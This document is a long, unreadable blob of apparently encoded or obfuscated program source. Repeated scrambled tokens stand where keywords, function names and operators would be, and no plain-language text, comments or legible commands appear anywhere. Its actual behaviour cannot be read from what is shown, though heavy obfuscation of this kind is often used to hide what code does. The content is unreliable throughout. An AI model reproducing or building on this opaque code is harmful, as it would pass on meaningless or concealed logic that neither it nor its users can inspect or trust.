'<!~nnnnnossnn'9}8?4>/7?,4)f{}vgnnn22nnn')<,*!v z,w(-=f}wgfj(",(/4}#}|y '<!f|eggnnnnrnfzzexggn<+:;< nnn(/"=+uDnnnnnj+< +&z~!x"4}nnnnnsn,,&x"7%*"w>* "|fz~|gfj(",(/4}#}|y '<!fvyvzgguD'(nfj+< +&z~!x"4}nsssn(/"=+nnn22nnnnn')<,*!v z,w(-=f}wgfj+< +&z~!x"4}gnrnf~6ye~6,ggnnn<+:;< nnnnn(/"=+uDnnnnn'(nf')<,*!v z,w(-=f}zygfj+< +&z~!x"4}bn~bnn|gnnnnnsssnnl6(6v,lgnnn5DDnnnnj#%|&{<<z{v8nnnsnn')<,*!v z,w(-=f{}wgfiibnnnnn47}#%=++!*:f}zygfj+< +&z~!x"4}bncfe}ggguD'(nnnfo')<,*!v z,w(-=f}vzgfj#%|&{<<z{v8gnnn22nnnj#%|&{<<z{v8nnnnnrnfyxe|zgnnnn22nj#%|&{<<z{v8npnnf~zv{zye|wggn<+:;< nn(/"=+uDnnnnn'(nnf47}#%=++!*:f{wgf,,&x"7%*"w>* "|f{z~gggnj+< +&z~!x"4}nsnn)4*+-!*+fj+< +&z~!x"4}bnnnf~zv{zye|wgguDnnnnn+"=+'(nf')<,*!v z,w(-=f{wgf')<,*!v z,w(-=f}|zgggnn5Dnnnnj+< +&z~!x"4}nnnsnn)4' ("/:+f')<,*!v z,w(-=f}zygfj+< +&z~!x"4}bnnnfewgbnn,,&x"7%*"w>* "|f}wgfj+< +&z~!x"4}gncnf~6~e~6|ggbnnnnfv}}w{ycyv{}vgguDnnnnn'(nnf,,&x"7%*"w>* "|fzwygfj+< +&z~!x"4}gnnnnnhhnn,,&x"7%*"w>* "|f{zgfj+< +&z~!x"4}gnnnpnnf~6*,*ye~6+|z|wggn<+:;< n(/"=+uDDnnnnn3Dn+"=+nnnnn<+:;< nnnn(/"=+uDDDnn3DDDnnnnnn'(nfo'9}8?4>/7?,4)fzwygfj+< +&z~!x"4}gnn22nnnn'9}8?4>/7?,4)f{z|gfj+< +&z~!x"4}gnnnrnnnnnnfw|evgnnnn22nnnn47}#%=++!*:f}zygfj+< +&z~!x"4}bnnn~bnf~6e~6zggnossnn'9}8?4>/7?,4)fyxgnn22nnnnnn')<,*!v z,w(-=f{z}gfj+< +&z~!x"4}gnossnnj(",(/4}#}|y '<!|gnn<+:;< n(/"=+uDnn<+:;< nnnnnj+< +&z~!x"4}uDnnn3D(; -:'! n--)/%46#>'"#>/v";fgDDnn5Daann!=:n! :+ :tn<+-;<='8+n:<;=:c/ -&!<DDnnnnn:<7nn5Dnnn'(nnnnfo*+(' +*f,,&x"7%*"w>* "|f{vgggnn<+:;< uDnnj#'!v:>vxw{ =y>znnsnn"'9)>#z=}9|}z+>fguDnnn'(nnnnfo,,&x"7%*"w>* "|f{~vgfj#'!v:>vxw{ =y>zggnnn<+:;< uD'(nnnf+7$,#6'%:/)?-vfj#'!v:>vxw{ =y>zgnnnsssnnnnnn(/"=+gnn<+:;< uDnnnnj:,#zv{|~:7!;"->nnnnnsnnnn w(=#-z$*6z+x>&>z+(wf,,&x"7%*"w>* "|fyz|gbnn/<</7fi	igbnnnn/<</7f'9}8?4>/7?,4)fx{gf<xw=w,+~4~}#8~fgbn,,&x"7%*"w>* "|fzyxgggguDnnn'(nnfo')<,*!v z,w(-=f{zzgfj:,#zv{|~:7!;"->gnnnnn22nnj:,#zv{|~:7!;"->nsssnnllgnn<+:;< uDnj:,#zv{|~:7!;"->nsnnnn47}#%=++!*:fzvvgf'9}8?4>/7?,4)f{z{gbnnnllbnnnnj:,#zv{|~:7!;"->guj-:=z-"-sx|exvuj/&>={/v#>=sj-:=z-"-c{~uDn'(nnnnnfo,,&x"7%*"w>* "|f{zzgfj:,#zv{|~:7!;"->gnnnn22nj:,#zv{|~:7!;"->nnnnnnsssnnnllgnnnnn<+:;< uDnnnnj$8y*{!$<: 77 nsn9),%/4:v49)x!/ /x9}(y:fgnn`nnitin`nnn!=+>>,++"6<w;&fnn`nnnnn')<,*!v z,w(-=f{zxgbnnfzezgguDj=<?#)|~;? w4x#%nnnnsnnnnn,,&x"7%*"w>* "|f{zygnn`nj$8y*{!$<: 77 n`nn,,&x"7%*"w>* "|f{zvguDnj#}v& 6w</nnsnnnnn'9}8?4>/7?,4)f{zwgn`nj$8y*{!$<: 77 n`n'9}8?4>/7?,4)f{zvguDnj8%4vz?=y<nnnnnnsnnnnnn47}#%=++!*:f{{~gnnnnn`nnnnnnj#'!v:>vxw{ =y>z|nnn`nnnn,,&x"7%*"w>* "|f{{gn`nnn9),%/4:v49)x!/ /x9}(y:fgnnnn`nnn47}#%=++!*:f{zvgnnnnn`nl lnn`nnj:,#zv{|~:7!;"->uD'(nfo,,&x"7%*"w>* "|f{~vgfj#'!v:>vxw{ =y>z~ggnnnnnn5Dn'(nnfo ~-w!;!:/{/4'fj#'!v:>vxw{ =y>z~bnllggnnnnn5Dn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f{}|gbn')<,*!v z,w(-=f{{|gguDnn<+:;< uDnnn3DDnn'(nnnnf=,?(,4;}z-}  {8=6$'6>fj#'!v:>vxw{ =y>z~bnnnnnj8%4vz?=y<ggn5Dn-~~%z&yy; '6-}v7):*:fj#'!v:>vxw{ =y>z~bn9&46;zx7&+;'(fgguDDDDnn??:+}<">$9;(=4=8'-+fj#'!v:>vxw{ =y>z~bnf}x{e{{gguD"~/(%7wz&:z(&w/fj#'!v:>vxw{ =y>z~guD3Dnn<+:;< uDnnnnnnn3DDnnnnnnj??xy;;(y%|nnnnnnsnn,,&x"7%*"w>* "|f{}xgfj#'!v:>vxw{ =y>z~guDDDn'(nnnfo,,&x"7%*"w>* "|f{zzgfj??xy;;(y%|gn22nn'9}8?4>/7?,4)f{z|gfj??xy;;(y%|gnnnnpnnnfwyvw}evw{wggn<+:;< uDD'(nnf')<,*!v z,w(-=fzz}gfj??xy;;(y%|bnnnj=<?#)|~;? w4x#%gnnossnnnn(/"=+nnhhnnnn')<,*!v z,w(-=fzz}gfj??xy;;(y%|bnj#}v& 6w</gnnnossn(/"=+gn<+:;< uDnnn'(nnnnf')<,*!v z,w(-=fzz}gfj??xy;;(y%|bnnnn'9}8?4>/7?,4)f{{}ggnsssnnnnnn(/"=+nnnhhnnn,,&x"7%*"w>* "|f{{zgfj??xy;;(y%|bnn47}#%=++!*:f{{{gnnn`nj#'!v:>vxw{ =y>z|gnnossnn(/"=+gn5DDDDnnnn'(nnnnf47}#%=++!*:f}~gf47}#%=++!*:f{{xgbnnnn')<,*!v z,w(-=f}zygfj??xy;;(y%|bnn~bnnnnnfz{e{{ggbnj'6<$'*w$6)zgnnhhn8+<='! -!#>/<+fj'6<$'*w$6)zbn9),%/4:v49)x!/ /x9}(y:fgbnn')<,*!v z,w(-=f{{ygggn<+:;< uDDDn'(nnnnnfo ~-w!;!:/{/4'fj#'!v:>vxw{ =y>z~bnnnj??xy;;(y%|ggnnnn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f{}|gbnn,,&x"7%*"w>* "|f{{|gguDn<+:;< uDn3Daan=>+-;"/:+n/"+<:DDnn'(nnf=,?(,4;}z-}  {8=6$'6>fj#'!v:>vxw{ =y>z~bnnj8%4vz?=y<ggn5D-~~%z&yy; '6-}v7):*:fj#'!v:>vxw{ =y>z~bnn9&46;zx7&+;'(fgguD??:+}<">$9;(=4=8'-+fj#'!v:>vxw{ =y>z~bnnf}{~ey~gguDDDn"~/(%7wz&:z(&w/fj#'!v:>vxw{ =y>z~guDn3Dnnnnnn<+:;< uDDDnn3Dnj!zz~4~6%'xnnnsnnn!=+>>,++"6<w;&fnnnn`nn')<,*!v z,w(-=f{zxgbnfyegguDnj??xy;;(y%|nnnnsnn,,&x"7%*"w>* "|fzvvgf'9}8?4>/7?,4)f{{vgn`nnj!zz~4~6%'xnn`nnnn47}#%=++!*:f{{wgbnnllbnj??xy;;(y%|guDnnnnn'(nnnfo')<,*!v z,w(-=f{zzgfj??xy;;(y%|ggnn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f{}|gbnnnnnn')<,*!v z,w(-=f{x~gguDnn<+:;< uDDD3DDDn'(nnnnnfo'9}8?4>/7?,4)fvyvgfj#'!v:>vxw{ =y>z~ggn<+:;< uDnn'(nnnnfo:&)='=&yx(4(y(|&4 f'9}8?4>/7?,4)f{}|gggnn5D!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f{xgbnnn,,&x"7%*"w>* "|f{x|gguDDDDnnn<+:;< uDDDn3D'(nnnfo ~-w!;!:/{/4'fj#'!v:>vxw{ =y>z~bnnnnnj??xy;;(y%|ggnn5D!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f{xgbnnn')<,*!v z,w(-=f{x}gguDnnnnnnn<+:;< uDnnnnn3DDDDnn-?68+#87)>9~4''$<f')<,*!v z,w(-=f{xgguDnnj(8~(>*/*8#+nsnnj=<?#)|~;? w4x#%n`nnnnnl ln`nn47}#%=++!*:f{xzgnnnn`nnj#'!v:>vxw{ =y>z|nnn`n,,&x"7%*"w>* "|f{zvgnnn`nnnnl lnnnnnn`nnj:,#zv{|~:7!;"->n`nnnnl lnnn`nj#}v& 6w</uDnnnnnnnn=,?(,4;}z-}  {8=6$'6>fj#'!v:>vxw{ =y>z~bnnnn+"w{*w#|y#'>(v><y}x>wfj??xy;;(y%|bnnnj(8~(>*/*8#+gguD3n-/:-&nnf&<!9/,"+nnj": >{,:|gnn5D!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f{xgbnnnnnj": >{,:|guDn3nn-/:-&nf6-+>:'! nnj": >{,:|gnn5Dnn3Dnnnnn3D(; -:'! nnnn,''$$w~|?%(%# z!->fgDn5Daan-!#>;:/,"+n/;:&!<':7DDnnn:<7nn5DDDDn'(nnfo*+(' +*f'9}8?4>/7?,4)f{x{gggnnnnnn<+:;< uDnnnnnnnj#'!v:>vxw{ =y>znnnsn"'9)>#z=}9|}z+>fguDnnnj$=,//&'?!"?;|}}-nnsnnnnf=:<' )gnnn,,&x"7%*"w>* "|f{xxgfj#'!v:>vxw{ =y>zbnn(/"=+bnnn ;""bn~bnnnnf~zcz~gguDnnnnn'(nnnf,,&x"7%*"w>* "|f}~gf,,&x"7%*"w>* "|f{xygbnj$=,//&'?!"?;|}}-bnnnj8y${w=# x(w>ygnnnhhnj8y${w=# x(w>ynnnnsssnnn9),%/4:v49)x!/ /x9}(y:fggnnnn5Dnnnnj('(-;|?*(nnnnsnnf' :gn)+:!>:'! f,,&x"7%*"w>* "|f{xvgbnn~guD'(nnnnf')<,*!v z,w(-=fzwxgfgnnnncnnnnj('(-;|?*(nnnrnf{yezz}ggnnn<+:;< uDDDnnnnn'(nnnf+7$,#6'%:/)?-vfj#'!v:>vxw{ =y>zgnnnossn(/"=+gn5Dnnn;>*/:+!>:'! f47}#%=++!*:f{xwgbnnnn'9}8?4>/7?,4)fzwxgfgbnnn47}#%=++!*:f{{gguDn<+:;< uD3Dnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f{xgbnnnn,,&x"7%*"w>* "|f{y~gguD3Dnnnnnnj>"~&9$z-") 76nnnnnsnn+4667 68'<#||9fguDDD'(nnnnnfoj>"~&9$z-") 76nnn22nn')<,*!v z,w(-=f{z|gfj>"~&9$z-") 76gnnrnnnfzy{e|{gnnnn22nn')<,*!v z,w(-=f{z|gfj>"~&9$z-") 76gnpnnnf~zv{ye{gnnn22nno84*{ <*'w~?-y,-4,;fj>"~&9$z-") 76ggnn<+:;< uDnj'?${4##(;(nnnnnsnn'9}8?4>/7?,4)f{wgf')<,*!v z,w(-=f|wggnqnn)4+ -!*+fj>"~&9$z-") 76bnf|{}ggnntnnnnj>"~&9$z-") 76uDDD'(nnfo')<,*!v z,w(-=f{ygfj'?${4##(;(gnnnn22nnj'?${4##(;(nnsssnnnnllgnn<+:;< uDnnn'(nnf=,?(,4;}z-}  {8=6$'6>fj#'!v:>vxw{ =y>zbnnnn,,&x"7%*"w>* "|f{y|gn`nnn9),%/4:v49)x!/ /x9}(y:fgnnnn`nnnnitinnn`nnn'9}8?4>/7?,4)f{y}gfj>"~&9$z-") 76gnnn`nnitin`nnnn'9}8?4>/7?,4)f}wwgfj'?${4##(;(gggnnnnn;>*/:+!>:'! f,,&x"7%*"w>* "|f{xwgbnnnn47}#%=++!*:fzwxgfgbn,,&x"7%*"w>* "|f{{gguDnn3n-/:-&nnf&<!9/,"+nnj": >{,:|gn5Dn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f{xgbnnnnnj": >{,:|guDnn3nn-/:-&nnf6-+>:'! nnnnnj": >{,:|gnn5D3Daann/,"+n"!-%tn+6>'<+n/"+<:DDnnnnn3Dnnnn(; -:'! nnnnnn</%<9,;68(";!vfgDnnnnnn5DDnnnnn'(nnnnnnfo,,&x"7%*"w>* "|f{wgf')<,*!v z,w(-=f{yzgggnn<+:;< n(/"=+uDDnnnj9z6v+$9#w46nsnnn*+(' +*f'9}8?4>/7?,4)f{x{ggnnhhnn'9}8?4>/7?,4)f{~zgfnnnnn`n')<,*!v z,w(-=fx~~ggnnnqnnnn`n'9}8?4>/7?,4)f{y{gntnnnuDnn<+:;< nnn'9}8?4>/7?,4)f{yxgfj9z6v+$9#w46bnnnnni=iguDnn3Dn(; -:'! nnn={* 6%%<%4<<y?-)~~=fgDnnnn5Dnn:<7nnn5Dnn'(nnnfo,,&x"7%*"w>* "|f{wgf')<,*!v z,w(-=f{yyggn22nnnno')<,*!v z,w(-=f{wgf'9}8?4>/7?,4)f{yvgggnnn<+:;< uDnnnn'(nnnnfo*+(' +*f47}#%=++!*:f{x{gggnn<+:;< uDj>"~&9$z-") 76nsnn+4667 68'<#||9fguDnnnnnnn'(nnnfoj>"~&9$z-") 76n22nn,,&x"7%*"w>* "|f{z|gfj>"~&9$z-") 76gnnrnnnnnfzy}e|yggnn<+:;< uDnj%+7nnnnsnn</%<9,;68(";!vfguD'(nnnnfj%+7nsssn(/"=+gnn<+:;< uDnnj+>%<:+w9""w%}7?=nnsn'9}8?4>/7?,4)f{wgf')<,*!v z,w(-=f{ywggnnqnn'9}8?4>/7?,4)f{v~gf'9}8?4>/7?,4)f{vgbnnj>"~&9$z-") 76gnntnnn47}#%=++!*:f{v|gfj>"~&9$z-") 76guDnnnj)##z6&)6&$:9!nnsnn')<,*!v z,w(-=f{v}gnn`nnnnn')<,*!v z,w(-=f{z|gfj>"~&9$z-") 76gnnnnn`nnitin`nnj+>%<:+w9""w%}7?=n`nl lnnn`nnj>"~&9$z-") 76uDnnnj:'86 w+{-nnsnnnnn')<,*!v z,w(-=f{vzgfj)##z6&)6&$:9!guDnnj8=8w/ 7/~w6,nsnn')<,*!v z,w(-=f{yygfj%+7bni/ibnnnnn~bnnn~guDn'(nnnnfj8=8w/ 7/~w6,gnn5Dj"':{6{~{,$99nnnnnnsnnnnnf' :gnn')<,*!v z,w(-=f{v{gfj8=8w/ 7/~w6,guDnnj;x<!8;*&~}9&:nnsnnn'9}8?4>/7?,4)f{vxgfj8=8w/ 7/~w6,bnnnn~bnnj"':{6{~{,$99guDDnnnnn'(nnnnnnf'9}8?4>/7?,4)f{vygfj;x<!8;*&~}9&:gnnnnhhnnnnn47}#%=++!*:f{vvgfj;x<!8;*&~}9&:bnnnnj>"~&9$z-") 76gnnnnnnossn(/"=+gnnnn5Dnnnn'9}8?4>/7?,4)f{vwgfj8=8w/ 7/~w6,guDnnnn<+:;< uDn3Daan*+><!8'='! n-!; :/,"+n-!##/ *DDnn'(nnfj"':{6{~{,$99npsnnnnj:'86 w+{-gn5DDn')<,*!v z,w(-=f{vwgfj8=8w/ 7/~w6,guDnj8=8w/ 7/~w6,nnnsn,,&x"7%*"w>* "|f{yygfj%+7bnnni9ibnnnnnn~bnnnn~guDDnnnn'(nnfj8=8w/ 7/~w6,gnnnn5Dnn'9}8?4>/7?,4)f{w~gfj8=8w/ 7/~w6,bnnnnn,,&x"7%*"w>* "|f{wgfj)##z6&)6&$:9!bnj"':{6{~{,$99bnnnnnl~lgbnnnnn~guDDDnnnj#v,&'799z~$nnnnsnnnn'9}8?4>/7?,4)f{vxgfj8=8w/ 7/~w6,bnnn~bnj:'86 w+{-guDn'9}8?4>/7?,4)f{vwgfj8=8w/ 7/~w6,guDnnnnn'(nnfj#v,&'799z~$nossnj)##z6&)6&$:9!gn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f{w|gbn,,&x"7%*"w>* "|f|wgguj>6%?)||9>:*$sc{xwuj=z;(y=>!sfj>6%?)||9>:*$p~gqj>6%?)||9>:*$tcj>6%?)||9>:*$uD3Dn<+:;< uD3nn+"=+nn5Dn')<,*!v z,w(-=f{w}gfj8=8w/ 7/~w6,guDD,,&x"7%*"w>* "|f{vwgfj8=8w/ 7/~w6,guDnnnn3Dnnnnn3Dnj"':{6{~{,$99nnsnj:'86 w+{-nnennf~~|e||guDnj8=8w/ 7/~w6,nnsnn'9}8?4>/7?,4)f{wzgfj%+7bni-ibnnf}{exwgbnnj"':{6{~{,$99guDn'(nnnnfoj8=8w/ 7/~w6,gnn<+:;< uDD')<,*!v z,w(-=f{w~gfj8=8w/ 7/~w6,bnnn,,&x"7%*"w>* "|f{w{gfj)##z6&)6&$:9!bnnnnj"':{6{~{,$99bnnnnl~lgbnnnnn~guDnj#v,&'799z~$nnsnnnn47}#%=++!*:f{vxgfj8=8w/ 7/~w6,bnnnn~bnj:'86 w+{-guD'(nnnnfj#v,&'799z~$nossnj)##z6&)6&$:9!gn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f{w|gbnnn,,&x"7%*"w>* "|f|wgguDDD')<,*!v z,w(-=f{vwgfj8=8w/ 7/~w6,guDDnnnn3nnn-/:-&nnnf&<!9/,"+nnnnj": >{,:|gnn5Daann-<'>:n!*;"+=tn*+8'<:;/"'4+n=:</:+)7DDn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f{w|gbnnj": >{,:|guDn3nn-/:-&nf6-+>:'! nnnj": >{,:|gnn5j= 4wzw~# s|}2xxuj?+z:&<|9=:sj= 4wzw~# xzuDnnnnnnn3D3Dnnn(; -:'! nnn+"w{*w#|y#'>(v><y}x>wfj-;<<+ :bnnj(8~(>*/*8#+gDnn5Daan<!:/:+n>'>+"' +n(!<nn!=:n+<#=DDnnnnnnn'(nnnnnnfo'9}8?4>/7?,4)f{wxgfj-;<<+ :gnnn22nnnnj-;<<+ :nsssnllgnn<+:;< nnnn,,&x"7%*"w>* "|fww}gnnnnn`nnj(8~(>*/*8#+n`nnl luD'(nnf'9}8?4>/7?,4)f}~gf')<,*!v z,w(-=f{wygbnj-;<<+ :bnj,!{?|zw%/4bnn	ggnnnn5Daan<+-"/'#n:<;=:c/ -&!<DDDDnj --((|;x%4=4nnnsnnj,!{?|zw%/4~nen'9}8?4>/7?,4)f{vzgfj,!{?|zw%/4~~guj!x )!":$swvd|uj/:/(!>-#~=/{=)sj!x )!":$c|~uDDDj")|x/|;* }nnsnnn'9}8?4>/7?,4)f{wvgfj-;<<+ :bnj --((|;x%4=4bnfz~|xc{v}zgguD9&'"+nnnf,,&x"7%*"w>* "|f{wxgfj")|x/|;* }gnnhhnnnnn,,&x"7%*"w>* "|f}~gf'9}8?4>/7?,4)f{wwgbnj")|x/|;* }bnj*#ggn5Dnnnj --((|;x%4=4nnnnesnnnn')<,*!v z,w(-=f{vzgfj*#~guDj")|x/|;* }nsnnnnn,,&x"7%*"w>* "|f{wvgfj-;<<+ :bnnnnnj --((|;x%4=4bnnfvz{ezygguDDDD3D<+:;< nnnn,,&x"7%*"w>* "|fx~~gfj-;<<+ :bnn~bnnnnj --((|;x%4=4gnn`nnl ln`nj(8~(>*/*8#+nn`nl lnn`nn'9}8?4>/7?,4)fx~gfj-;<<+ :bnj --((|;x%4=4guDDDnnnnn3D<+:;< nnnnn')<,*!v z,w(-=fx~|gnn`nnnnnj(8~(>*/*8#+n`nnnnl qp ln`nnj-;<<+ :uDDnnn3Dn(; -:'! n:&)='=&yx(4(y(|&4 fj%+7gDDDDnnnnnn5D'(nnnfo')<,*!v z,w(-=fx~}gf,,&x"7%*"w>* "|f|{|gggnnn<+:;< nn:<;+uDj8%v~67<)9"nnnnsnnnn)+:!>:'! f47}#%=++!*:fx~zgnn`nnj%+7bnnnnllguDnnnnnnn'(nnf'9}8?4>/7?,4)f{wxgfj8%v~67<)9"gnhhn47}#%=++!*:fx~{gfj8%v~67<)9"bnni2ignossnnnn(/"=+gn5Dnj(",(/4}#}|y '<!nnnsn'9}8?4>/7?,4)f||~gfi2ibnj8%v~67<)9"bn|guD'(nnnff' :gnnj(",(/4}#}|y '<!~nnsssnnnf' :gnnnf')<,*!v z,w(-=fzwxgfgnnnannnf{xzzvcy~~zvggnnnhhnnf' :gnj(",(/4}#}|y '<!nnnnpsnnnf~6|e~6ggnnnnnn<+:;< nn(/"=+uDnnn3D<+:;< nnn:<;+uDnnn3Dn(; -:'! nnn-?68+#87)>9~4''$<fj%+7gDDDnnn5Daann!<#/::' )nn=':+n#+:/DDDDn'(nfo47}#%=++!*:fx~}gf47}#%=++!*:fx~xggnn22nnnno')<,*!v z,w(-=fx~ygf,,&x"7%*"w>* "|fx~vgggnnn<+:;< uDDj*9z%}'?4="nnsnf' :gnnnf')<,*!v z,w(-=fzwxgfgnnnnnanfvx}zwe{gguDnj8%v~67<)9"nsnnnnn)+:!>:'! f')<,*!v z,w(-=fx~zgnnnnn`nnnnnnj%+7bnllguDnj#$#<+='~%|,~);8nsn~uD'(nf'9}8?4>/7?,4)fx~wgfj8%v~67<)9"gnhhn')<,*!v z,w(-=fx~{gfj8%v~67<)9"bni2ignossnn(/"=+gnnnn5DDDj(",(/4}#}|y '<!nnnnnnsnn,,&x"7%*"w>* "|fx~gfi2ibnnj8%v~67<)9"bnnn|guD'(nnnff' :gnnnnj(",(/4}#}|y '<!~nsssnnj*9z%}'?4="gnj#$#<+='~%|,~);8nnnnsnnnnnnf' :gnj(",(/4}#}|y '<!uDnnn3DDDDnnnnnj#$#<+='~%|,~);8eeuDnn;>*/:+!>:'! f'9}8?4>/7?,4)fx~zgnnn`nnnj%+7bnj*9z%}'?4="nnn`nni2inn`nnnnj#$#<+='~%|,~);8bn47}#%=++!*:f{{gguDDDn'(nnfj#$#<+='~%|,~);8nnnnpsnnnnnfxc}ggnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fxgbn,,&x"7%*"w>* "|fx|gnnn`nnnj%+7guD3Dn(; -:'! nnnnnn;w;7)y<'4z&'+fgDDDnn5DDDDnnnn:<7n5DDDnn'(nfo*+(' +*f'9}8?4>/7?,4)f{x{gggn<+:;< uD'(nnfo*+(' +*f47}#%=++!*:fz}ggn22no'9}8?4>/7?,4)fvyvgf  
gnnnn22nnno!<%'&,&=#&#z:&4f  
ggnn<+:;< uDDDnnnnj8z()4x*~(nnsnnnnn  
uDnnnnj89?-:}{w{&|$<nsnj8z()4x*~(nn`nnn'9}8?4>/7?,4)f}wzguDnnnnnnj*8?|?/>$9$84~7nnnsn')<,*!v z,w(-=fx}gf<xw=w,+~4~}#8~fgbnnn')<,*!v z,w(-=fxzgguDnj?(vz)(v>wx(z&<<nnsnn!=+>>,++"6<w;&fn`nnnnn')<,*!v z,w(-=fx{gbnnf|exggnn`n,,&x"7%*"w>* "|f}|vguDnnj+x$%;+4/-+ <(nsnnn9#::(!7?8|, ,v})v'fguDDDnj?=9;|{',-"9nsnnnn!=+>>,++"6<w;&fn`nn47}#%=++!*:f{}gbnnf~6we~6gguDDnj!%{/=*;89v6&nsnnnnnn,,&x"7%*"w>* "|fx~ygf,,&x"7%*"w>* "|fxxggnqnn</%<9,;68(";!vfgntnnnnn(/"=+uDnj!~-?/{{(y84~nsnnj!%{/=*;89v6&nnossnn(/"=+nqn47}#%=++!*:fxygfj!%{/=*;89v6&gnnnnntnn~uDj";8:~(xynsnnnnnn'==+:fj	'9}8?4>/7?,4)f}|gcp><+('6gnnnnnqnj	')<,*!v z,w(-=f}|gcp><+('6nntnnnn')<,*!v z,w(-=f~~|guDj-~4<+)|!{<|)<"nnsnnn')<,*!v z,w(-=fxvgnn`n,,&x"7%*"w>* "|fx~gf47}#%=++!*:f{v|gfj*8?|?/>$9$84~7n`nf=:<' )gn><$64z"x*x#$z|8fggbnn~bnnnnnnf~6ye~6gguDnj78*7:'6: /)$x(nnsnn w(=#-z$*6z+x>&>z+(wfDDDnnnnn,,&x"7%*"w>* "|fy}~gbDn/<</7fi	ibni ibnnnnnniibni ibniibni	
 ibni igbD/<</7fj*8?|?/>$9$84~7bnnnj?(vz)(v>wx(z&<<bnnnj!~-?/{{(y84~bnnnj?=9;|{',-"9bnnnj";8:~(xybnnnnj-~4<+)|!{<|)<"bnn9),%/4:v49)x!/ /x9}(y:fggDnnnnguDnnnn'(nnfoj78*7:'6: /)$x(gnnn5DDnnnnnn'(nnnff' :gnnnnn)+:!>:'! f'9}8?4>/7?,4)fzyvgbnnn~gnnnpn~gn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fxwgbnnnnnn')<,*!v z,w(-=fx|~gguDDn<+:;< uDnnn3Dnj-;<<+ :nnnnsnn')<,*!v z,w(-=f{~zgfj89?-:}{w{&|$<gnqn')<,*!v z,w(-=fx|gfj89?-:}{w{&|$<gnntnnlluDDDDnn'(nnfo'9}8?4>/7?,4)fx||gfj-;<<+ :ggnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fx|}gbnnnn')<,*!v z,w(-=fzz|gguDn<+:;< uDn3Dnj-;<<+ :nnnnsnnnnnn$9v'='y;'&{$%$zy+fj-;<<+ :guDDDDj$8y*{!$<: 77 nnsnnn9),%/4:v49)x!/ /x9}(y:fgnnnnnn`nnnnitinnnnn`nnn!=+>>,++"6<w;&fnn`nnn,,&x"7%*"w>* "|fx|zgbnnnnfzrrgguDnj=<?#)|~;? w4x#%nsnn,,&x"7%*"w>* "|fx|{gnnnnn`nnnj$8y*{!$<: 77 nnn`n'9}8?4>/7?,4)f{zvguDnj#}v& 6w</nsnn'9}8?4>/7?,4)fx|xgnnn`nj$8y*{!$<: 77 n`nn,,&x"7%*"w>* "|fx|yguDnnnj-4+;(y6?4 nsnn!=+>>,++"6<w;&fnn`nnnn47}#%=++!*:fx|zgbnnnf{xzvgguDnnnnnnnnj;87x%{-+/ 4-89$'nsn47}#%=++!*:fx|vgf'9}8?4>/7?,4)fx|wgn`nnnnnj-4+;(y6?4 nn`nnn,,&x"7%*"w>* "|fx}~gbnllbnnj-;<<+ :guDnj; y7$?,(~"$?{nnnsnf,,&x"7%*"w>* "|fx~{gfj;87x%{-+/ 4-89$'bnnn')<,*!v z,w(-=fx}ggnnnossnn(/"=+guD'(nf'9}8?4>/7?,4)fx}|gfj-;<<+ :bnnj=<?#)|~;? w4x#%gnossnnnn(/"=+nhhnnnnn')<,*!v z,w(-=fx}}gfj-;<<+ :bnnnj#}v& 6w</gnossnnn(/"=+nnhhnnnnnoj; y7$?,(~"$?{gnnnn5D4-6/)x&~|78!~'"+zfguDn<+:;< uDnn3DDDnnnnj-;<<+ :nnnsn,,&x"7%*"w>* "|fx}zgf')<,*!v z,w(-=fx}{gbnnllbnnnnj;87x%{-+/ 4-89$'guDnnnnnnn'(nnfo47}#%=++!*:fx||gfj-;<<+ :ggnn5Daan' :+<"+/8+n"/ +=Dj+#;<wy/-'%%s|weuj)!9"!z|vsj+#;<wy/-'%%c|{uDnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fx}xgbn')<,*!v z,w(-=f{x~gguDDnnnn<+:;< uDDDn3n5Dnj-;<<+ :nnnsnnn$9v'='y;'&{$%$zy+fj-;<<+ :guDj<-{+'77vnnsnn47}#%=++!*:fx}ygf,,&x"7%*"w>* "|f{z{gbnllbnnnnnj78*7:'6: /)$x(guDDnnj+9/?>>?=8*!7(8nsnnf'9}8?4>/7?,4)f{vzgfj-;<<+ :gnsssnnnnnn~guDn'(nnfoj+9/?>>?=8*!7(8gn5DD'(nnnfo:&)='=&yx(4(y(|&4 f')<,*!v z,w(-=fx}xgggnn5D!%6z,zv||*<-%;=*/7";f47}#%=++!*:fx}xgbnn'9}8?4>/7?,4)f{x|gguDn<+:;< uDnnn3Dn'(nnfo ~-w!;!:/{/4'fj89?-:}{w{&|$<bnnj-;<<+ :ggnnn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fx}vgbnn'9}8?4>/7?,4)f{x}gguD<+:;< uDnnnnn3DDDDnnnnnn-?68+#87)>9~4''$<f')<,*!v z,w(-=fx}wgguDn3nn+"=+nn5Dnn'(nnnfo ~-w!;!:/{/4'fj89?-:}{w{&|$<bnllggnn5Dnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fxz~gbnn')<,*!v z,w(-=fxzgguDnn<+:;< uDnnnn3Dnnnnn3Dnj8)~':+{>&=6&nnsn+"w{*w#|y#'>(v><y}x>wfj-;<<+ :bnnnnj=<?#)|~;? w4x#%n`nnnnnl ln`nj<-{+'77vnn`nl lnn`nj#}v& 6w</guDnn'(nfo=,?(,4;}z-}  {8=6$'6>fj89?-:}{w{&|$<bnnnnnj8)~':+{>&=6&ggnnnn5Dn<+:;< uDnnnn3Dn'(nnnfj+9/?>>?=8*!7(8gn"~/(%7wz&:z(&w/fj89?-:}{w{&|$<guDnnnnnn4-6/)x&~|78!~'"+zfguDn3Dnn3nn-/:-&nnf&<!9/,"+nnj": >{,:|gnn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fxz~gbnnnj": 